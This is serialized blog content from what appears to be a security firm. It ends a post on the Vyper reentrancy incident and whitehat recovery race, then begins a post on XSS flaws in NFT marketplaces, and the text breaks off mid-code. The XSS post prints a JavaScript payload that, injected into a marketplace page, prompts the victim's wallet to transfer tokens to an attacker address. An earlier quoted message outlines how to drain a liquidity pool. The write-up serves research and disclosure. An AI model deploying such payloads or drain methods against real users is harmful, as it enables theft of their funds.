",{"type":23,"tag":92,"props":29873,"children":29876},{"href":29874,"rel":29875},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[96],[29877],{"type":28,"value":29878},"CRV/ETH was vulnerable",{"type":28,"value":29880},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":29882,"children":29883},{},[29884,29889],{"type":23,"tag":296,"props":29885,"children":29886},{},[29887],{"type":28,"value":29888},"16:11 UTC",{"type":28,"value":29890}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":29892,"children":29893},{},[29894,29896,29903],{"type":28,"value":29895},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":92,"props":29897,"children":29900},{"href":29898,"rel":29899},"https://twitter.com/vyperlang/status/1685692973051498497",[96],[29901],{"type":28,"value":29902},"public statement on affected versions",{"type":28,"value":320},{"type":23,"tag":24,"props":29905,"children":29906},{},[29907],{"type":28,"value":29908},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":29910,"children":29911},{},[29912,29914,29921],{"type":28,"value":29913},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":92,"props":29915,"children":29918},{"href":29916,"rel":29917},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[96],[29919],{"type":28,"value":29920},"somebody else stole the funds",{"type":28,"value":320},{"type":23,"tag":24,"props":29923,"children":29924},{},[29925],{"type":28,"value":29926},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":29928,"children":29929},{},[29930],{"type":28,"value":29931},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":29933,"children":29934},{},[29935,29940],{"type":23,"tag":296,"props":29936,"children":29937},{},[29938],{"type":28,"value":29939},"21:26 UTC",{"type":28,"value":29941}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":1909,"props":29943,"children":29944},{},[29945],{"type":23,"tag":24,"props":29946,"children":29947},{},[29948,29950,29954,29956,29959,29961,29964,29966],{"type":28,"value":29949},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":29951,"props":29952,"children":29953},"br",{},[],{"type":28,"value":29955},"\nyou can then update admin fee ",{"type":23,"tag":29951,"props":29957,"children":29958},{},[],{"type":28,"value":29960},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":29951,"props":29962,"children":29963},{},[],{"type":28,"value":29965},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":29951,"props":29967,"children":29968},{},[],{"type":23,"tag":24,"props":29970,"children":29971},{},[29972,29977],{"type":23,"tag":296,"props":29973,"children":29974},{},[29975],{"type":28,"value":29976},"21:52 UTC",{"type":28,"value":29978}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":29980,"children":29981},{},[29982,29984,29991,29993,30000,30008],{"type":28,"value":29983},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":92,"props":29985,"children":29988},{"href":29986,"rel":29987},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[96],[29989],{"type":28,"value":29990},"CRV admin fee bot",{"type":28,"value":29992}," had claimed fees and ",{"type":23,"tag":92,"props":29994,"children":29997},{"href":29995,"rel":29996},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[96],[29998],{"type":28,"value":29999},"the pool was drained",{"type":23,"tag":14454,"props":30001,"children":30002},{},[30003],{"type":23,"tag":92,"props":30004,"children":30006},{"href":28605,"ariaDescribedBy":30005,"dataFootnoteRef":7,"id":28607},[14461],[30007],{"type":28,"value":2991},{"type":28,"value":320},{"type":23,"tag":70,"props":30010,"children":30012},{"id":30011},"blame",[30013],{"type":28,"value":30014},"Blame",{"type":23,"tag":24,"props":30016,"children":30017},{},[30018,30022],{"type":23,"tag":1887,"props":30019,"children":30020},{},[30021],{"type":28,"value":30014},{"type":28,"value":30023}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":82,"props":30025,"children":30027},{"id":30026},"races",[30028],{"type":28,"value":30029},"Races",{"type":23,"tag":24,"props":30031,"children":30032},{},[30033],{"type":28,"value":30034},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":30036,"children":30037},{},[30038],{"type":28,"value":30039},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":30041,"children":30042},{},[30043],{"type":28,"value":30044},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":82,"props":30046,"children":30048},{"id":30047},"information-leakage",[30049],{"type":28,"value":30050},"Information Leakage",{"type":23,"tag":24,"props":30052,"children":30053},{},[30054],{"type":28,"value":30055},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":30057,"children":30058},{},[30059,30061,30068],{"type":28,"value":30060},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":92,"props":30062,"children":30065},{"href":30063,"rel":30064},"https://twitter.com/osec_io/status/1579969927020412929",[96],[30066],{"type":28,"value":30067},"by publishing the \"scoop\"",{"type":28,"value":30069}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":30071,"children":30072},{},[30073],{"type":28,"value":30074},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":30076,"children":30077},{},[30078],{"type":28,"value":30079},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":30081,"children":30082},{},[30083],{"type":28,"value":30084},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":70,"props":30086,"children":30088},{"id":30087},"next-steps",[30089],{"type":28,"value":30090},"Next Steps",{"type":23,"tag":24,"props":30092,"children":30093},{},[30094],{"type":28,"value":30095},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":30097,"children":30098},{},[30099,30101,30108],{"type":28,"value":30100},"It's important to note that this bug ",{"type":23,"tag":92,"props":30102,"children":30105},{"href":30103,"rel":30104},"https://twitter.com/real_philogy/status/1685948253139857409",[96],[30106],{"type":28,"value":30107},"was patched since November 2021",{"type":28,"value":320},{"type":23,"tag":1909,"props":30110,"children":30111},{},[30112],{"type":23,"tag":24,"props":30113,"children":30114},{},[30115,30117,30122,30123,30126,30128,30133],{"type":28,"value":30116},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":1887,"props":30118,"children":30119},{},[30120],{"type":28,"value":30121},"processes",{"type":28,"value":17512},{"type":23,"tag":29951,"props":30124,"children":30125},{},[],{"type":28,"value":30127},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":1887,"props":30129,"children":30130},{},[30131],{"type":28,"value":30132},"was",{"type":28,"value":30134}," fixed.",{"type":23,"tag":24,"props":30136,"children":30137},{},[30138],{"type":28,"value":30139},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":17402,"props":30141,"children":30143},{"className":30142,"dataFootnotes":7},[17405],[30144,30149],{"type":23,"tag":70,"props":30145,"children":30147},{"className":30146,"id":14461},[17410],[30148],{"type":28,"value":17413},{"type":23,"tag":41,"props":30150,"children":30151},{},[30152],{"type":23,"tag":45,"props":30153,"children":30154},{"id":29348},[30155,30157],{"type":28,"value":30156},"Thankfully, these funds were later returned. ",{"type":23,"tag":92,"props":30158,"children":30160},{"href":29376,"ariaLabel":17516,"className":30159,"dataFootnoteBackref":7},[17518],[30161],{"type":28,"value":17521},{"type":23,"tag":1815,"props":30163,"children":30164},{},[30165],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":30167},[30168,30169,30173,30174],{"id":29443,"depth":540,"text":29446},{"id":30011,"depth":540,"text":30014,"children":30170},[30171,30172],{"id":30026,"depth":555,"text":30029},{"id":30047,"depth":555,"text":30050},{"id":30087,"depth":540,"text":30090},{"id":14461,"depth":540,"text":17413},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":30179,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30180,"description":30181,"author":30182,"image":30183,"date":30185,"isFeatured":16,"tags":30186,"onBlogPage":16,"body":30189,"_type":1838,"_id":34395,"_source":1840,"_file":34396,"_stem":34397,"_extension":1843},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[13,12],{"src":30184,"height":12604,"width":12604},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[30187,30188],"nft-marketplaces","xss",{"type":20,"children":30190,"toc":34378},[30191,30195,30200,30204,30209,30214,30219,30235,30241,30254,30276,30283,30288,30295,30300,30306,30311,30316,30321,30326,30337,30342,31307,31317,31329,31336,31341,32162,32167,32172,32177,32182,32966,32971,33053,33058,33125,33131,33136,33141,33368,33381,33386,33391,33396,33403,33408,33415,33421,33426,33431,33436,33755,33760,33766,33782,33788,33793,33798,33808,33813,33818,33827,33832,33838,33854,33867,33872,33877,33897,33904,33909,33916,33925,33930,33951,34004,34009,34060,34074,34079,34093,34208,34231,34315,34338,34343,34348,34353,34358,34363,34369,34374],{"type":23,"tag":70,"props":30192,"children":30193},{"id":27996},[30194],{"type":28,"value":27999},{"type":23,"tag":24,"props":30196,"children":30197},{},[30198],{"type":28,"value":30199},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":82,"props":30201,"children":30202},{"id":1894},[30203],{"type":28,"value":1897},{"type":23,"tag":24,"props":30205,"children":30206},{},[30207],{"type":28,"value":30208},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":30210,"children":30211},{},[30212],{"type":28,"value":30213},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":70,"props":30215,"children":30216},{"id":30188},[30217],{"type":28,"value":30218},"XSS",{"type":23,"tag":24,"props":30220,"children":30221},{},[30222],{"type":23,"tag":1887,"props":30223,"children":30224},{},[30225,30227,30234],{"type":28,"value":30226},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":92,"props":30228,"children":30231},{"href":30229,"rel":30230},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[96],[30232],{"type":28,"value":30233},"even explain it to myself",{"type":28,"value":320},{"type":23,"tag":82,"props":30236,"children":30238},{"id":30237},"managing-metadata",[30239],{"type":28,"value":30240},"Managing Metadata",{"type":23,"tag":24,"props":30242,"children":30243},{},[30244,30246,30253],{"type":28,"value":30245},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":92,"props":30247,"children":30250},{"href":30248,"rel":30249},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[96],[30251],{"type":28,"value":30252},"payloads",{"type":28,"value":320},{"type":23,"tag":24,"props":30255,"children":30256},{},[30257,30259,30266,30268,30274],{"type":28,"value":30258},"We showcase this vulnerability in the ",{"type":23,"tag":92,"props":30260,"children":30263},{"href":30261,"rel":30262},"https://rocki.com/",[96],[30264],{"type":28,"value":30265},"Rocki Marketplace",{"type":28,"value":30267},". The ",{"type":23,"tag":56,"props":30269,"children":30271},{"className":30270},[],[30272],{"type":28,"value":30273},"artistDescription",{"type":28,"value":30275}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":30277,"children":30278},{},[30279],{"type":23,"tag":126,"props":30280,"children":30282},{"alt":7,"src":30281},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":30284,"children":30285},{},[30286],{"type":28,"value":30287},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":24,"props":30289,"children":30290},{},[30291],{"type":23,"tag":126,"props":30292,"children":30294},{"alt":7,"src":30293},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":30296,"children":30297},{},[30298],{"type":28,"value":30299},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":82,"props":30301,"children":30303},{"id":30302},"wheres-my-wallet",[30304],{"type":28,"value":30305},"Where's My Wallet",{"type":23,"tag":24,"props":30307,"children":30308},{},[30309],{"type":28,"value":30310},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":30312,"children":30313},{},[30314],{"type":28,"value":30315},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":30317,"children":30318},{},[30319],{"type":28,"value":30320},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":30322,"children":30323},{},[30324],{"type":28,"value":30325},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":30327,"props":30328,"children":30330},"div",{"style":30329},"display:flex; align-items:center; flex-direction:column;",[30331],{"type":23,"tag":126,"props":30332,"children":30336},{"src":30333,"alt":30334,"style":30335},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":30338,"children":30339},{},[30340],{"type":28,"value":30341},"And here we can find the code used to achieve it :",{"type":23,"tag":494,"props":30343,"children":30345},{"className":496,"code":30344,"language":498,"meta":7,"style":7},"function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n",[30346],{"type":23,"tag":56,"props":30347,"children":30348},{"__ignoreMap":7},[30349,30365,30410,30439,30455,30518,30553,30578,30603,30610,30630,30638,30654,30666,30674,30691,30708,30716,30723,30739,30755,30762,30770,30787,30799,30806,30822,30838,30845,30852,30869,30876,30884,30891,30938,30945,31009,31016,31036,31052,31068,31089,31159,31175,31182,31189,31227,31235,31242,31249,31256,31277],{"type":23,"tag":504,"props":30350,"children":30351},{"class":506,"line":507},[30352,30356,30361],{"type":23,"tag":504,"props":30353,"children":30354},{"style":511},[30355],{"type":28,"value":514},{"type":23,"tag":504,"props":30357,"children":30358},{"style":517},[30359],{"type":28,"value":30360}," request",{"type":23,"tag":504,"props":30362,"children":30363},{"style":523},[30364],{"type":28,"value":1030},{"type":23,"tag":504,"props":30366,"children":30367},{"class":506,"line":540},[30368,30373,30377,30382,30387,30391,30396,30401,30406],{"type":23,"tag":504,"props":30369,"children":30370},{"style":544},[30371],{"type":28,"value":30372},"  if",{"type":23,"tag":504,"props":30374,"children":30375},{"style":523},[30376],{"type":28,"value":801},{"type":23,"tag":504,"props":30378,"children":30379},{"style":511},[30380],{"type":28,"value":30381},"typeof",{"type":23,"tag":504,"props":30383,"children":30384},{"style":529},[30385],{"type":28,"value":30386}," window",{"type":23,"tag":504,"props":30388,"children":30389},{"style":523},[30390],{"type":28,"value":320},{"type":23,"tag":504,"props":30392,"children":30393},{"style":529},[30394],{"type":28,"value":30395},"ethereum",{"type":23,"tag":504,"props":30397,"children":30398},{"style":598},[30399],{"type":28,"value":30400}," ===",{"type":23,"tag":504,"props":30402,"children":30403},{"style":622},[30404],{"type":28,"value":30405}," 'undefined'",{"type":23,"tag":504,"props":30407,"children":30408},{"style":523},[30409],{"type":28,"value":537},{"type":23,"tag":504,"props":30411,"children":30412},{"class":506,"line":555},[30413,30418,30422,30426,30430,30435],{"type":23,"tag":504,"props":30414,"children":30415},{"style":529},[30416],{"type":28,"value":30417},"    console",{"type":23,"tag":504,"props":30419,"children":30420},{"style":523},[30421],{"type":28,"value":320},{"type":23,"tag":504,"props":30423,"children":30424},{"style":517},[30425],{"type":28,"value":806},{"type":23,"tag":504,"props":30427,"children":30428},{"style":523},[30429],{"type":28,"value":526},{"type":23,"tag":504,"props":30431,"children":30432},{"style":622},[30433],{"type":28,"value":30434},"'Please install MetaMask to use this feature.'",{"type":23,"tag":504,"props":30436,"children":30437},{"style":523},[30438],{"type":28,"value":630},{"type":23,"tag":504,"props":30440,"children":30441},{"class":506,"line":633},[30442,30447,30451],{"type":23,"tag":504,"props":30443,"children":30444},{"style":523},[30445],{"type":28,"value":30446},"  } ",{"type":23,"tag":504,"props":30448,"children":30449},{"style":544},[30450],{"type":28,"value":2293},{"type":23,"tag":504,"props":30452,"children":30453},{"style":523},[30454],{"type":28,"value":552},{"type":23,"tag":504,"props":30456,"children":30457},{"class":506,"line":687},[30458,30463,30467,30472,30477,30482,30487,30492,30497,30502,30506,30510,30514],{"type":23,"tag":504,"props":30459,"children":30460},{"style":529},[30461],{"type":28,"value":30462},"    ethereum",{"type":23,"tag":504,"props":30464,"children":30465},{"style":523},[30466],{"type":28,"value":320},{"type":23,"tag":504,"props":30468,"children":30469},{"style":517},[30470],{"type":28,"value":30471},"request",{"type":23,"tag":504,"props":30473,"children":30474},{"style":523},[30475],{"type":28,"value":30476},"({ ",{"type":23,"tag":504,"props":30478,"children":30479},{"style":529},[30480],{"type":28,"value":30481},"method:",{"type":23,"tag":504,"props":30483,"children":30484},{"style":622},[30485],{"type":28,"value":30486}," 'eth_requestAccounts'",{"type":23,"tag":504,"props":30488,"children":30489},{"style":523},[30490],{"type":28,"value":30491}," }).",{"type":23,"tag":504,"props":30493,"children":30494},{"style":517},[30495],{"type":28,"value":30496},"then",{"type":23,"tag":504,"props":30498,"children":30499},{"style":523},[30500],{"type":28,"value":30501},"((",{"type":23,"tag":504,"props":30503,"children":30504},{"style":529},[30505],{"type":28,"value":13656},{"type":23,"tag":504,"props":30507,"children":30508},{"style":523},[30509],{"type":28,"value":2064},{"type":23,"tag":504,"props":30511,"children":30512},{"style":511},[30513],{"type":28,"value":13802},{"type":23,"tag":504,"props":30515,"children":30516},{"style":523},[30517],{"type":28,"value":552},{"type":23,"tag":504,"props":30519,"children":30520},{"class":506,"line":736},[30521,30526,30531,30535,30540,30544,30548],{"type":23,"tag":504,"props":30522,"children":30523},{"style":511},[30524],{"type":28,"value":30525},"      const",{"type":23,"tag":504,"props":30527,"children":30528},{"style":529},[30529],{"type":28,"value":30530}," fromAddress",{"type":23,"tag":504,"props":30532,"children":30533},{"style":598},[30534],{"type":28,"value":648},{"type":23,"tag":504,"props":30536,"children":30537},{"style":529},[30538],{"type":28,"value":30539}," accounts",{"type":23,"tag":504,"props":30541,"children":30542},{"style":523},[30543],{"type":28,"value":2711},{"type":23,"tag":504,"props":30545,"children":30546},{"style":1440},[30547],{"type":28,"value":3001},{"type":23,"tag":504,"props":30549,"children":30550},{"style":523},[30551],{"type":28,"value":30552},"];\n",{"type":23,"tag":504,"props":30554,"children":30555},{"class":506,"line":785},[30556,30560,30565,30569,30574],{"type":23,"tag":504,"props":30557,"children":30558},{"style":511},[30559],{"type":28,"value":30525},{"type":23,"tag":504,"props":30561,"children":30562},{"style":529},[30563],{"type":28,"value":30564}," attackerAddress",{"type":23,"tag":504,"props":30566,"children":30567},{"style":598},[30568],{"type":28,"value":648},{"type":23,"tag":504,"props":30570,"children":30571},{"style":622},[30572],{"type":28,"value":30573}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":504,"props":30575,"children":30576},{"style":523},[30577],{"type":28,"value":866},{"type":23,"tag":504,"props":30579,"children":30580},{"class":506,"line":813},[30581,30585,30590,30594,30599],{"type":23,"tag":504,"props":30582,"children":30583},{"style":511},[30584],{"type":28,"value":30525},{"type":23,"tag":504,"props":30586,"children":30587},{"style":529},[30588],{"type":28,"value":30589}," contractAddress",{"type":23,"tag":504,"props":30591,"children":30592},{"style":598},[30593],{"type":28,"value":648},{"type":23,"tag":504,"props":30595,"children":30596},{"style":622},[30597],{"type":28,"value":30598}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":504,"props":30600,"children":30601},{"style":523},[30602],{"type":28,"value":866},{"type":23,"tag":504,"props":30604,"children":30605},{"class":506,"line":851},[30606],{"type":23,"tag":504,"props":30607,"children":30608},{"emptyLinePlaceholder":16},[30609],{"type":28,"value":1038},{"type":23,"tag":504,"props":30611,"children":30612},{"class":506,"line":869},[30613,30617,30622,30626],{"type":23,"tag":504,"props":30614,"children":30615},{"style":511},[30616],{"type":28,"value":7058},{"type":23,"tag":504,"props":30618,"children":30619},{"style":529},[30620],{"type":28,"value":30621}," tokenAbi",{"type":23,"tag":504,"props":30623,"children":30624},{"style":598},[30625],{"type":28,"value":648},{"type":23,"tag":504,"props":30627,"children":30628},{"style":523},[30629],{"type":28,"value":24601},{"type":23,"tag":504,"props":30631,"children":30632},{"class":506,"line":878},[30633],{"type":23,"tag":504,"props":30634,"children":30635},{"style":523},[30636],{"type":28,"value":30637},"        {\n",{"type":23,"tag":504,"props":30639,"children":30640},{"class":506,"line":1221},[30641,30646,30650],{"type":23,"tag":504,"props":30642,"children":30643},{"style":529},[30644],{"type":28,"value":30645},"          constant:",{"type":23,"tag":504,"props":30647,"children":30648},{"style":511},[30649],{"type":28,"value":8041},{"type":23,"tag":504,"props":30651,"children":30652},{"style":523},[30653],{"type":28,"value":2484},{"type":23,"tag":504,"props":30655,"children":30656},{"class":506,"line":1276},[30657,30662],{"type":23,"tag":504,"props":30658,"children":30659},{"style":529},[30660],{"type":28,"value":30661},"          inputs:",{"type":23,"tag":504,"props":30663,"children":30664},{"style":523},[30665],{"type":28,"value":24601},{"type":23,"tag":504,"props":30667,"children":30668},{"class":506,"line":1285},[30669],{"type":23,"tag":504,"props":30670,"children":30671},{"style":523},[30672],{"type":28,"value":30673},"            {\n",{"type":23,"tag":504,"props":30675,"children":30676},{"class":506,"line":1294},[30677,30682,30687],{"type":23,"tag":504,"props":30678,"children":30679},{"style":529},[30680],{"type":28,"value":30681},"              name:",{"type":23,"tag":504,"props":30683,"children":30684},{"style":622},[30685],{"type":28,"value":30686}," '_to'",{"type":23,"tag":504,"props":30688,"children":30689},{"style":523},[30690],{"type":28,"value":2484},{"type":23,"tag":504,"props":30692,"children":30693},{"class":506,"line":1302},[30694,30699,30704],{"type":23,"tag":504,"props":30695,"children":30696},{"style":529},[30697],{"type":28,"value":30698},"              type:",{"type":23,"tag":504,"props":30700,"children":30701},{"style":622},[30702],{"type":28,"value":30703}," 'address'",{"type":23,"tag":504,"props":30705,"children":30706},{"style":523},[30707],{"type":28,"value":2484},{"type":23,"tag":504,"props":30709,"children":30710},{"class":506,"line":1311},[30711],{"type":23,"tag":504,"props":30712,"children":30713},{"style":523},[30714],{"type":28,"value":30715},"            },\n",{"type":23,"tag":504,"props":30717,"children":30718},{"class":506,"line":1334},[30719],{"type":23,"tag":504,"props":30720,"children":30721},{"style":523},[30722],{"type":28,"value":30673},{"type":23,"tag":504,"props":30724,"children":30725},{"class":506,"line":1370},[30726,30730,30735],{"type":23,"tag":504,"props":30727,"children":30728},{"style":529},[30729],{"type":28,"value":30681},{"type":23,"tag":504,"props":30731,"children":30732},{"style":622},[30733],{"type":28,"value":30734}," '_value'",{"type":23,"tag":504,"props":30736,"children":30737},{"style":523},[30738],{"type":28,"value":2484},{"type":23,"tag":504,"props":30740,"children":30741},{"class":506,"line":1384},[30742,30746,30751],{"type":23,"tag":504,"props":30743,"children":30744},{"style":529},[30745],{"type":28,"value":30698},{"type":23,"tag":504,"props":30747,"children":30748},{"style":622},[30749],{"type":28,"value":30750}," 'uint256'",{"type":23,"tag":504,"props":30752,"children":30753},{"style":523},[30754],{"type":28,"value":2484},{"type":23,"tag":504,"props":30756,"children":30757},{"class":506,"line":1392},[30758],{"type":23,"tag":504,"props":30759,"children":30760},{"style":523},[30761],{"type":28,"value":30715},{"type":23,"tag":504,"props":30763,"children":30764},{"class":506,"line":1400},[30765],{"type":23,"tag":504,"props":30766,"children":30767},{"style":523},[30768],{"type":28,"value":30769},"          ],\n",{"type":23,"tag":504,"props":30771,"children":30772},{"class":506,"line":1422},[30773,30778,30783],{"type":23,"tag":504,"props":30774,"children":30775},{"style":529},[30776],{"type":28,"value":30777},"          name:",{"type":23,"tag":504,"props":30779,"children":30780},{"style":622},[30781],{"type":28,"value":30782}," 'transfer'",{"type":23,"tag":504,"props":30784,"children":30785},{"style":523},[30786],{"type":28,"value":2484},{"type":23,"tag":504,"props":30788,"children":30789},{"class":506,"line":1450},[30790,30795],{"type":23,"tag":504,"props":30791,"children":30792},{"style":529},[30793],{"type":28,"value":30794},"          outputs:",{"type":23,"tag":504,"props":30796,"children":30797},{"style":523},[30798],{"type":28,"value":24601},{"type":23,"tag":504,"props":30800,"children":30801},{"class":506,"line":1463},[30802],{"type":23,"tag":504,"props":30803,"children":30804},{"style":523},[30805],{"type":28,"value":30673},{"type":23,"tag":504,"props":30807,"children":30808},{"class":506,"line":1485},[30809,30813,30818],{"type":23,"tag":504,"props":30810,"children":30811},{"style":529},[30812],{"type":28,"value":30681},{"type":23,"tag":504,"props":30814,"children":30815},{"style":622},[30816],{"type":28,"value":30817}," ''",{"type":23,"tag":504,"props":30819,"children":30820},{"style":523},[30821],{"type":28,"value":2484},{"type":23,"tag":504,"props":30823,"children":30824},{"class":506,"line":1503},[30825,30829,30834],{"type":23,"tag":504,"props":30826,"children":30827},{"style":529},[30828],{"type":28,"value":30698},{"type":23,"tag":504,"props":30830,"children":30831},{"style":622},[30832],{"type":28,"value":30833}," 'bool'",{"type":23,"tag":504,"props":30835,"children":30836},{"style":523},[30837],{"type":28,"value":2484},{"type":23,"tag":504,"props":30839,"children":30840},{"class":506,"line":1516},[30841],{"type":23,"tag":504,"props":30842,"children":30843},{"style":523},[30844],{"type":28,"value":30715},{"type":23,"tag":504,"props":30846,"children":30847},{"class":506,"line":1543},[30848],{"type":23,"tag":504,"props":30849,"children":30850},{"style":523},[30851],{"type":28,"value":30769},{"type":23,"tag":504,"props":30853,"children":30854},{"class":506,"line":1583},[30855,30860,30865],{"type":23,"tag":504,"props":30856,"children":30857},{"style":529},[30858],{"type":28,"value":30859},"          type:",{"type":23,"tag":504,"props":30861,"children":30862},{"style":622},[30863],{"type":28,"value":30864}," 'function'",{"type":23,"tag":504,"props":30866,"children":30867},{"style":523},[30868],{"type":28,"value":2484},{"type":23,"tag":504,"props":30870,"children":30871},{"class":506,"line":1605},[30872],{"type":23,"tag":504,"props":30873,"children":30874},{"style":523},[30875],{"type":28,"value":24353},{"type":23,"tag":504,"props":30877,"children":30878},{"class":506,"line":1614},[30879],{"type":23,"tag":504,"props":30880,"children":30881},{"style":523},[30882],{"type":28,"value":30883},"      ];\n",{"type":23,"tag":504,"props":30885,"children":30886},{"class":506,"line":1627},[30887],{"type":23,"tag":504,"props":30888,"children":30889},{"emptyLinePlaceholder":16},[30890],{"type":28,"value":1038},{"type":23,"tag":504,"props":30892,"children":30893},{"class":506,"line":1655},[30894,30898,30903,30907,30912,30917,30921,30926,30930,30934],{"type":23,"tag":504,"props":30895,"children":30896},{"style":511},[30897],{"type":28,"value":30525},{"type":23,"tag":504,"props":30899,"children":30900},{"style":529},[30901],{"type":28,"value":30902}," web3",{"type":23,"tag":504,"props":30904,"children":30905},{"style":598},[30906],{"type":28,"value":648},{"type":23,"tag":504,"props":30908,"children":30909},{"style":511},[30910],{"type":28,"value":30911}," new",{"type":23,"tag":504,"props":30913,"children":30914},{"style":517},[30915],{"type":28,"value":30916}," 